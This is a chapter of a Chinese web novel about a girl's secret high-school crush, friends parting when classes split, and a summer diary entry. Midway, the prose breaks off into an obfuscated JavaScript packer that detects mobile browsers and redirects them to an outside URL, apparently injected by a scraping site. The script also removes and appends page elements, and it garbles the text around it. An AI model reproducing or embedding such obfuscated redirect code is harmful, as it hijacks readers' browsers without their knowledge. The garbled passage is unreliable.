记得陈辉带他们去打雪仗的那一天,记得许飘生日那天全班偷偷摸摸叫了几乎街上所有的外卖,记得帮班里女生表白叠过的一只只千纸鹤,记得运动会上所有人的呐喊,也记得想念着这一切的自己。 搬走的前一天晚自习,陈辉放了一部电影,名字已经不记得,只记得是一部喜剧片,所有人都笑得人仰马翻。 陈辉说,这不是最后的离别,所以要笑着。 那就一起笑吧。 在昏黑的教室里,屏幕的光亮照在每一张脸上,林岁岁和夏年躲在最后一排。 林岁岁说坦白便会坦白,当她说出自己喜欢李好的那一刻,夏年的反应平淡无常,眼睛一眨不眨地看着她,林岁岁以为她没有反应过来,反复强调了一下真实性。 夏年表情浮夸的补上了她的震惊,林岁岁翻了一个白眼,她明白了,这个女人早就看出来了。 “什么时候知道的?” 夏年认真思索几秒,“我又不是傻子,喜欢一个人,哪都藏得住,就眼神藏不住嗷。” 她勾了勾林岁岁的下巴,“宝贝,你太明显了。” 林岁岁气愤愤地把视线转向大屏幕,“哦。” 夏年幡然醒悟,“我知道你的目标是什么了,不要告诉我,你就是想和他一个考场才这么拼命的。” 林岁岁耸肩,不行吗? 也不是不行,就是有点傻。 “不过,你是真的牛啊,从第六考场到了第一考场,我真是佩服了。” 林岁岁毫无扭捏,“低调低调,这都是爱的力量。” 她怎么感觉自己越来越像阮白学姐了。 夏年扶额,“你还不如不告诉我呢。” “嗯……这样说出来,还挺舒服。” “是啊,你总是什么都憋在心里,这样会憋坏的。” 林岁岁把剩下的薯片吃抹干净,“也是,可能真的要改变一下。” 夏年趴在桌上盯着林岁岁的侧颜,电影暖暖的光落下,少女的睫毛浓密,扫出一片阴影,白皙的鹅蛋脸此刻却布满红晕,耳尖上也红得滴血。 林岁岁在故作镇定,生怕自己会对她的暗恋作出什么评价,从而一副不在意的模样,其实内心早就慌张了。 两人每日都形影不离,她怎么会看不出呢? 林岁岁在看到沉嘉遥端着餐盘时向后张望的时候,在球场上佯装淡定其实内心无比雀跃的时候,在他升旗时瞧着脚尖东张西望的时候,在他请假不来上学时酸奶都要捏爆了的时候……她一幕幕都看在眼里,怎么会不知道林岁岁喜欢李好呢。 因为她平日里极其平静的眼眸,在看到他的时候也星星点点的亮着,不像她了。 林岁岁这么可爱,所以夏年有义务保护她,不让她对自己产生怀疑,就这样陪伴着她。 16. 16 就这样,高一生活走向末尾。 夏年收拾书籍,离开八班前竟然落泪不止,剩下的人面面相觑,不知所措。 于鹏飞绕绕头,缓解气氛,“不是,姐,你哭啥啊,咱又不是见不着了,就差两层啊。” “呜呜,可是你们三个还是在一个班,而且还是辉哥带,我们四人组就这么散了。” 陈雀拽了拽林岁岁的衣角,示意她说点什么。 林岁岁啊了一声,琢磨着,“你中午要吃什么,糖醋排骨还是辣子鸡?” “呜呜呜——我要吃米线。” 对待吃货的必杀技。 林岁岁颇有良心又安慰几句,才把夏年的眼泪止住。 先前帮她搬书的沉嘉遥回来,一进门就看见眼眶通红的夏年,“为什么哭了?” “没事。”夏年摆摆手,和他们三个人说了句“食堂见”,就抱着剩下的书和沉嘉遥一起离开,走到门口时还特地回头看了一眼,依依不舍的神情。 三人莫名,于鹏飞轻咳两声,“怎么搞的和嫁女儿一样。” 被林岁岁和陈雀轮番暴打。 / “岁岁,我和于鹏飞先过去一趟,帮我们占个好柜子。” 林岁岁蹲在地上,望着自己的抽屉发呆,和陈雀应了声好。而后注视着一堆课外书发愁。 怎么只有一年却囤了这么书,什么时候搬得完啊,只能靠于鹏飞了。 窗外传来几声清脆的鸟啼,敞开的门吹进一股热风,吹得林岁岁愈发烦躁。 林岁岁看到夏年那么伤心,突然也涌上一股怅然,以后再也看不到这扇窗的风景,再也听不到夏年在旁边接老师的话茬。 正在怀念着,身旁的椅子被人轻声挪走,林岁岁没有注意到。 “还没收拾好吗?” 林岁岁心一颤,扭回头,李好俯身望着一脸呆滞的女生。 李好的眼睛像个深渊一般,诱着人注视,林岁岁扣住衣角,“你——你怎么在这啊,沉嘉遥刚跟着夏年走了。”她理所当然地认为他是找不到沉嘉遥才来的。 李好随着她起身的动作,替她把身后的椅子移开,林岁岁注意到他的动作,感到无措没有说话。 六月底的天气本就炎热,此时她的手里出了汗,黏糊糊的。 “嗯,我知道。他们说你的东西多,让我过来帮忙。” 林岁岁眼睫毛轻颤,握住拳。夏年,不是说好不要插手这件事吗! “啊,不用了,我自己可以的。” 李好往她身后看去,周围的位置基本都变得空荡荡,只有她这里,连窗台都放满了书。 “没事,闲着也是闲着。”还没等那个习惯性出神的女生说话,又说道:“这些都是你的吗?” 林岁岁看他已经进入状态,也没有继续推辞,嗯了一声。 两人无声收拾一会,期间于鹏飞回来了一趟,看见李好站在一旁,露出八卦的神情,被林岁岁眼神威胁击退,帮她抱了一些书便跑没影了。 “你喜欢看马尔克斯的书?”李好把那本《百年孤独》放好,眼神瞥向书侧露出的密密麻麻的便利贴。 看个小说,还挺用功。 但其实里面都是林岁岁和夏年上课聊的小话。 林岁岁有些不自在,他的存在,哪怕呼吸都让她无所适从,听到他的话,只是轻轻回应。 李好见她没有聊天的兴致,也没有再开口。 两人收拾好后,拿着书穿过长长的走廊,阳光斜射进长廊,空气里的微尘起起伏伏。 长廊外的藤蔓蔓延进走廊,林岁岁盯着他的背影,身形挺拔修长,校服划过滕蔓叶,沉静的叶子一阵晃动,亦如她的心跳。 教学楼传来一阵喧闹声,林岁岁却听不到所有的一切,她多么希望这条路可以永远走下去,没有尽头啊。 分了文理班后,不能正大光明地趁着去洗手间偷偷望他一眼,也不能趴在栏杆上,看他下了体育课返回时,笑得朗月入怀的模样,还有很多的琐碎,那些只属于她一个人的瞬间,都要结束了。 她只能藏得再深一些,不要被发现,再继续以别的方式去喜欢他,喜欢到让他看见自己。 林岁岁加快脚步,跟上他,“李好,我中午请你吃饭吧。” 李好惜字如金,“不至于,小事。” “不行,要的!”平时温软的女生此刻却坚决起来,李好偏头看向她低垂的脑袋,无奈同意。 / 临近中午,疲惫的人群涌去食堂。少了高三生,食堂倒是比平时宽阔。 几人都收拾妥当,去往餐厅的途中遇到叶珩,一帮人坐下倒是把一桌凑齐。 林岁岁看向坐在斜对面的李好,想起刚刚买米线的那幕,唇角没忍住一弯。 李好站在窗口前,“阿姨,我不要香菜,不要辣。” 在一旁等着帮他刷饭卡的林岁岁,在心中记下,不喜欢吃香菜不喜欢吃辣。 但是食堂阿姨不光手抖,也时常间歇性耳背,放了一勺辣椒,刚要撒上一把美味的香菜,“阿姨,不要香菜!” 林岁岁难得看见他急切又无奈的样子,噗嗤一笑,周围的嘈杂声迅速淹没,没人听到。 于鹏飞嘴里含着丸子,含糊不清地说,“这丸子真好吃。” “您能不能给我咽下去再说话。”夏年白眼翻天。 旁边的叶珩重复了一遍,“他说,丸子很难吃。” 于鹏飞翻了一个白眼。 林岁岁一只耳朵借给说瞎话的他们,一只耳朵借给正在聊天的李好和沉嘉遥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499057|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沉嘉遥:“我听王义军说,你们理科一班是武松带啊。” “嗯。” “那你可太惨了,谁不知道级部主任狠。” “谁带我有什么区别吗?” “也是,你这成绩,他们捧着你还来不不及呢。” 从食堂出来,太阳悬挂在上方,炙烤着油柏路。 林岁岁和夏年围着操场的树荫散步,暑假即将到来,中午破天荒的没有禁校。跑道上有几个跑步的学生,还有几对小情侣坐在看台上。 夏年感叹道:“时间真的好快啊!” “是啊。” “不过,我们的友情是不会结束的!”夏年揉了揉林岁岁的小脸。 林岁岁拍开她的手,“姐姐,你的感慨还是等着后年毕业说吧。” 夏年撇撇嘴,正巧身旁有两个拿着雪糕经过的女生,她又退回林岁岁身旁,“岁岁,我们也买雪糕吃吧。” 林岁岁也想吃,点点头。 梧桐树下,树影摇晃,阳光斑驳。刚走出洗手间的林岁岁靠在单杠上,甩着手上的水珠,等着夏年从小卖店出来。 夏年一副心满意足的表情,朝着她跑过来,“呐,你的红豆味雪糕。” 林岁岁接过,甚是疑惑,“有什么事这么开心?” “那当然啦,免费的雪糕哎,李好买的!”夏年的表情狡黠,忍不住戳戳林岁岁的腰肢。 林岁岁的腰很敏感,此时一缩,无意识握紧雪糕,“啊,这不太好吧。” 虽然很想吃他买的雪糕。 “没事,他正好请沉嘉遥,顺便给我们买的。你就别犹豫了,别以为我不知道你内心有多开心。” 林岁岁也不再扭捏,撕开包装,吃着冰凉凉的雪糕。 “回教室吧,还给陈雀和于鹏飞买了。” “行。” / 夏日滚烫,无休止的蝉鸣和写不完的暑假,令每一天都变得无比漫长。 虽说高一的暑假最长,但也只有一个月半,林郁青带着林岁岁去了趟云南采风,那里气候更是燥热,林岁岁不愿出门,到了那也只是躺了一个月,逛也没逛,作业也懒得写。 回来时已临近开学,便赶着把作业写完。 林岁岁在某个深夜写完作业后,翻开许久未写的笔记本,里面还夹着他买的雪糕包装袋。 她翻开新的一页,望着窗外的槐花树,手里是不停旋转的笔,写下一句话。 2008年8月19日。 我在巷子里转了很多圈,却没有遇到你,我好想你,好想开学。 青城一中是和他的唯一交际,一想到这,林岁岁的心就被闷热潮湿所包裹,眼底掩饰不住的难过。 等到高三毕业,我又该如何寻找你。